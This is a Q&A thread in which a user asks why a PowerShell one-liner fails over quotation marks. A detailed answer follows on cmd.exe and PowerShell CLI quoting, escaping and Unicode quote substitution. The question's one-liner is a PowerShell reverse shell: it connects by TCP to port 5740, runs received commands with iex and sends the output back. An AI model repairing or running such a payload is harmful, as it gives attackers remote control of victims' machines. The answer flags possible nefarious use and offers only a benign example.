Powershell not accepting normal quotation marks

I've been pulling my hair out all day because of this issue.

I'm working on a powershell one-liner and Powershell is being picky with what quotation mark I use. vs ", with powershell requiring the former.

Ultimately, the big issue I'm having is that the powershell command won't work if I use the normal quotation marks. Below is the command, followed by the error that is occuring. If I use the weird quotation mark (instead of all of the normal double quotation marks) the command will work fine. It requires this weird quotation mark. Does anyone know what is happening here? Theoretically they should both work, but they definitely do not. My use case prevents me from being able to type the weird quotation mark.

powershell 'Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[](",5740)) -    Name client;Set-Variable -Value ($client.GetStream()) -Name stream;\[byte\[\]\]$bytes = 0..65535|%{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (iex $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value ($sendback + "PS " + (pwd).Path + "> ") -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

The error:

At line:1 char:468

\+ ...  Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS  + ( ...

\+                                                                  \~

You must provide a value expression following the '+' operator.

At line:1 char:469

\+ ... t-String ) -Name sendback;Set-Variable -Value ($sendback + PS  + (pwd ...

\+                                                                \~\~

Unexpected token 'PS' in expression or statement.

At line:1 char:468

\+ ...  Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS  + ( ...

\+                                                                  \~

Missing closing ')' in expression.

At line:1 char:489

\+ ... endback;Set-Variable -Value ($sendback + PS  + (pwd).Path + > ) -Name ...

\+                                                                  \~

Missing file specification after redirection operator.

At line:1 char:262

\+ ... lue ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Var ...

\+                                                                 \~

Missing closing '}' in statement block or type definition.

At line:1 char:490

\+ ... dback;Set-Variable -Value ($sendback + PS  + (pwd).Path + > ) -Name s ...

\+                                                                 \~

Unexpected token ')' in expression or statement.

At line:1 char:650

\+ ... ;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client ...

\+                                                                 \~

Unexpected token '}' in expression or statement.

\+ CategoryInfo          : ParserError: (:) \[\], ParentContainsErrorRecordException

\+ FullyQualifiedErrorId : ExpectedValueExpression


  • Update:

    Your Reddit cross-post reveals that you're trying call the PowerShell CLI from inside PowerShell:

    • There is normally no good reason to do so, but if you do need it (e.g. when you need to call Windows PowerShell from PowerShell (Core) 7+), pass your commands inside a script block ({ ... }), which avoids the quoting headaches and also enables support for (limited) type fidelity (not just strings) - see this answer.

      • Obfuscated PowerShell one-liners are sometimes used for nefarious purposes, which, needless to say, should not be condoned.
    • In string-based CLI calls, which is what you attempted, double quotes require escaping as \" in order to be considered part of the PowerShell command to execute - see this answer for an explanation.

    • When you used "Unicode" (non-ASCII) double quotes such as , that escaping need went away, for the reasons explained in the bottom section. However, this should not be relied on.

      • On a general note: If you use non-ASCII literals such as in your script, you must ensure that PowerShell interprets the script file's character encoding correctly, which for UTF-8 files notably requires them to have a BOM in Windows PowerShell - see this answer.

    The following discusses calling the PowerShell CLI from cmd.exe / from outside PowerShell in general.


    • Do not try to use non-ASCII-range quotation marks such as and (see the bottom section for why).

    • Instead, use normal (ASCII-range) double quotes (") and escape them as \"

    • Never use '...' to enclose your PowerShell commands passed to the PowerShell CLI (on Windows, from outside PowerShell), unless your intent is to create a string literal instead of executing a command.

    The keys to making your call to powershell.exe, the Windows PowerShell CLI, work as intended from cmd.exe / outside PowerShell[1] are:

    • Do not use overall '...' quoting (single quoting), because PowerShell will interpret the entire argument as a verbatim string rather than as a command.

      • It's best to use overall "..." quoting (see below).
    • Do not use \ as the escape character - except to escape " characters (see below).

      • Not only does \ not function as a general-purpose escape character (neither in PowerShell nor in cmd.exe), [ and ] do not require escaping, so that, for instance, \[byte\[\]\] should just be [byte[]].
      • PowerShell's escape character is `, the so-called backtick, and cmd.exe's escape character - in unquoted arguments only - is ^.
    • " characters that you want to be part of the PowerShell command to execute must be escaped as \"

      • Escaping " characters is a requirement whether or not you're using overall "..." quoting, but without the latter it is only \" that works - see this answer, which also explains why this escaping is necessary.

      • With overall "..." quoting, which is generally preferable, because cmd.exe then (mostly) does not interpret the content, \" works too, but there are still edge cases where misinterpretation by cmd.exe can occur, in which case an alternative form of "-escaping is the solution: This alternative form is edition-specific, unfortunately: "^""..."^"" (sic) in Windows PowerShell, ""..."" in PowerShell (Core) 7+ - see this answer for details, including an additional workaround required in Windows PowerShell in for /f loops.

    • When calling from cmd.exe / a batch file, avoid use of %, unless you're trying to reference an environment variable cmd.exe-style, e.g. %OS%:

      • From batch files, % chars. you want to pass through to PowerShell, must be escaped as %%
      • In an interactive cmd.exe session, % cannot be escaped at all, and %% would be passed as is.
      • Therefore, to avoid commands from breaking situationally - depending on whether they're called from a batch file or from an interactive session - avoid %, if possible; here you can use foreach as an alternative to use of % as an alias of the ForEach-Object cmdlet (of course, you can use the full cmdlet name too).

    Here's a simplified command that implements all the tips above:

    :: From cmd.exe / a batch file
    :: Note the overall "..." quoting, use of \" for embedded double quotes
    :: and use of foreach instead of %
    powershell "Write-Output \"hello, world\" 2>&1 | foreach { \"[$_]\" }"

    You should be able to fix your command accordingly (which, as currently shown in the question, has additional problems, unrelated to quoting and escaping).

    As for using non-ASCII ("Unicode") double quotes:

    • PowerShell-internally, it is allowed to substitute non-ASCII-range punctuation for their ASCII-range equivalents:

      • As you've discovered (LEFT DOUBLE QUOTATION MARK, U+201C) and (RIGHT DOUBLE QUOTATION MARK, U+201D) can be used in lieu of a pair of regular double quotes (")

      • This answer provides an overview of all substitutions that are supported.

    • By contrast, on the PowerShell CLI's command line, it is only the normal, ASCII-range double quotes (" (QUOTATION MARK, U+0022)) that have syntactic function, so that the non-ASCII-range and characters are passed through as part of the PowerShell command to execute.

    That is, the use of the non-ASCII-range and characters effectively saves you from the need to escape them - both in unquoted tokens and inside normal "..."

    However, this behavior is both obscure and visually subtle and should not be relied upon: instead, use normal double quotes consistently and escape pass-through ones as \", as discussed above.

    As an aside: Regular console windows (conhost.exe) won't even allow you to paste the non-ASCII-range double quotes: they are converted to normal ones. You can, however, paste them in Windows Terminal and in the Windows Run dialog (WinKey-R).

    [1] From inside PowerShell, there's rarely a need to call the PowerShell CLI; if needed, the best way to do so is by passing the commands as a script block ({ ... }) - see this answer.